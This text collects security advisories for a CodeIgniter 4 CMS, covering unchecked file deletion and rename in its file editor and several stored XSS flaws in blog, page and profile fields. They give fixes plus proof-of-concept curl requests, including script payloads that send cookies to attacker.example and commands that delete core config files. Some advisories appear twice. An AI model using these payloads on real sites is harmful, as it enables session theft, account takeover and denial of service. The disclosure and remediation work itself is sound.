The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the source path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

1. Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
2. isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

3. realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.

4. Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller — entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)

# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
• isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
• realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
• unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

• Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
• Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
• Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // <-- mutates only the local $value in CI4's validator
    self::$cleanCache[md5((string)$str)] = $clean;    // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) {                       // local $value
    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345
$passed = ($param === null)
    ? $set->{$rule}($value, $error)                              // <-- $value is the local var
    : $set->{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this->request->getPost('lang');                            // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...;           // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
    $this->commonModel->create('blog_langs', [
        'blog_id' => $insertID,
        'lang'    => $lanCode,
        'title'   => trim(strip_tags($lanData['title'])),
        'seflink' => trim(strip_tags($lanData['seflink'])),
        'content' => $lanData['content'],                                  // <-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
    <?php echo $infos->content ?>
</section>

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

1. Submit a blog post with an XSS payload as the content body:

curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-xss' \
  -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
  -d 'isActive=1' \
  -d 'categories[]=1' \
  -d 'author=1' \
  -d 'created_at=01.01.2026 10:00:00' \
  -d 'csrf_token_name=<token>'

2. The validator returns success (html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.

3. Visit the public post URL https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.

Impact

• Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
  • every anonymous public visitor that loads the affected blog post,
  • the superadmin and other backend reviewers when they open or preview the post.
• Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
• Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
• The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

   Minimal, immediate fix in the Blog controller — apply to both new and edit:

   // modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)
   use Modules\Backend\Validation\CustomRules;
   ...
   $this->commonModel->create('blog_langs', [
       'blog_id' => $insertID,
       'lang'    => $lanCode,
       'title'   => trim(strip_tags($lanData['title'])),
       'seflink' => trim(strip_tags($lanData['seflink'])),
       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
       'seo'     => !empty($seoData) ? $seoData : '',
   ]);
   

   Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).

2. Fix the cache key bug so getClean() actually works as a defense-in-depth backstop:

   // modules/Backend/Validation/CustomRules.php
   public function html_purify(?string &$str = null, ?string &$error = null): bool
   {
       if (empty(trim((string)$str))) return true;
       if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
       $original = (string)$str;
       $clean    = self::sanitizeHtml($original);
       self::$cleanCache[md5($original)] = $clean;   // key on ORIGINAL, before reassignment
       $str = $clean;                                // best-effort; CI4 will drop this
       return true;
   }
   

3. Document explicitly in CustomRules that html_purify is not a sanitizer — it returns true unconditionally on any HTMLPurifier-installed environment — and that callers MUST use CustomRules::sanitizeHtml(...) (or CustomRules::getClean($original) after the cache fix) on $_POST data before storage.

4. Defense in depth: escape $infos->content at output where feasible (e.g., app/Views/templates/default/blog/post.php:51), or pipe the stored value through CustomRules::sanitizeHtml() on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

• Pages::create() registers the rule at line 82:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
  

  Then at lines 102–113 it reads the raw POST and inserts it untouched:

  $langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 — RAW
      ...
  ]);
  

• Pages::update() mirrors the same pattern at lines 130 and 157:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 — RAW
  

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

• Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
• Different table (pages_langs.content vs blog_langs.content)
• Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
• Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
• Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the source path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

1. Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
2. isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

3. realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.

4. Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller — entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)

# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
• isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
• realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
• unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

• Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
• Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
• Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // <-- mutates only the local $value in CI4's validator
    self::$cleanCache[md5((string)$str)] = $clean;    // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

